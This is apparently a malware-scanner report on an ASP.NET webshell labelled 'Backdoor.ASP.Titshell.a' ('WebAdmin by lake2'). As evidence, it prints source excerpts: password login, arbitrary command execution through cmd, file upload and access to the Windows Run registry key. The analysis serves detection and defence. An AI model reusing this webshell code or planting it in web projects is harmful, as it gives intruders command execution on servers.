Hostile ^92% Download

Backdoor.ASP.Titshell.a

ASP webshell with command execution

ASP webshell giving SQL access. Might also be a dual use tool.ASP webshell obfuscated

SHA-2566403cae8a39efdc7442c70bd314cf540ff109eea8e245e1a3619c147a3241a91

Evidence

Generic ASP webshell which reads the registry (might look for passwords, license keys, database settings, general recon, ... lines 1–11

1<%@ Page Language="VB" ContentType="text/html"  validateRequest="false" aspcompat="true"%>
2<%@ Import Namespace="System.IO" %>
3<%@ import namespace="System.Diagnostics" %>
4<%@ Import Namespace="Microsoft.Win32" %>
5<%@ Import Namespace="System.Data" %>
6<%@ Import Namespace="System.Data.OleDb" %>
7<script runat="server">
8Dim PASSWORD as string = "webadmin"   '����ѡ�webadmin����Ϊ���Լ�������
9'----------------------------------------------------------------------
10'-----------------           WebAdmin by lake2        -----------------
11'-----------------       …

ASP webshell obfuscated lines 15–43

15:51… ---------------------
16'  Description:
17'    1. This program run on ASP.NET environment,control the web
18'    2. It looks like backdoor , but I wish you like it .
19'    3. If you have some words to me , please send me a Email
20'------------
21dim url,TEMP1,TEMP2,TITLE,SORTFILED as string
22Sub Login_click(sender As Object, E As EventArgs)
23	if Textbox.Text=PASSWORD then     
24		session("lake2")=1
25		session.Timeout=45
26	else
27		response.Write("<font color='red'>�������</font><br>")
28	end if
29End Sub
30Sub RunCMD(Src As Object, E As EventArgs)
31	Dim myProcess As New Process()
32	Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
33	myProcessStartInfo.UseShellExecute = False
34	myProcessStartInfo.RedirectStandardOutput = true
35	myProcess.StartInfo = myProcessStartInfo
36	myProcessStartInfo.Arguments="/c " & Cmd.text
37	myProcess.Start()
38	Dim myStreamReader As StreamReader = myProcess.StandardOutput
39	Dim myString As String = myStreamReader.Readtoend()
⋯4 lines

ASP webshell giving SQL access. Might also be a dual use tool. lines 85–94

2… ub UpLoad(Src As Object, E As EventArgs)
dim filename,loadpath as string
filename=path.getfilename(UpFile.value)
loadpath=request.QueryString("src") & filename
if  file.exists(loadpath)=true then 
response.Write("<script>alert('�ļ�" & replace(loadpath,"\","\\") & " �Ѿ����ڣ��ϴ�ʧ�ܣ�')</sc"&"ript>")
⋯4 lines

Accesses Windows CurrentVersion Run key lines 795–799

795:64… ss="TextBox" Text="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/>  
796<br>
797  Value: 
798  <asp:TextBox ID="Reg2" runat="server" CssClass="TextBox" Text="KAVRun"/>  
799<asp:Button ID="RegButtom" …

Embedded HTTP or WebSocket URL lines 843–845

843:87… page:)" target="_blank"><em>lake2</em></a> from China [<a href="http://blog.csdn.net/lake2/archive/2005/01/27/270921.aspx" target="_blank">����</a>]</p>
844</body>
845</html>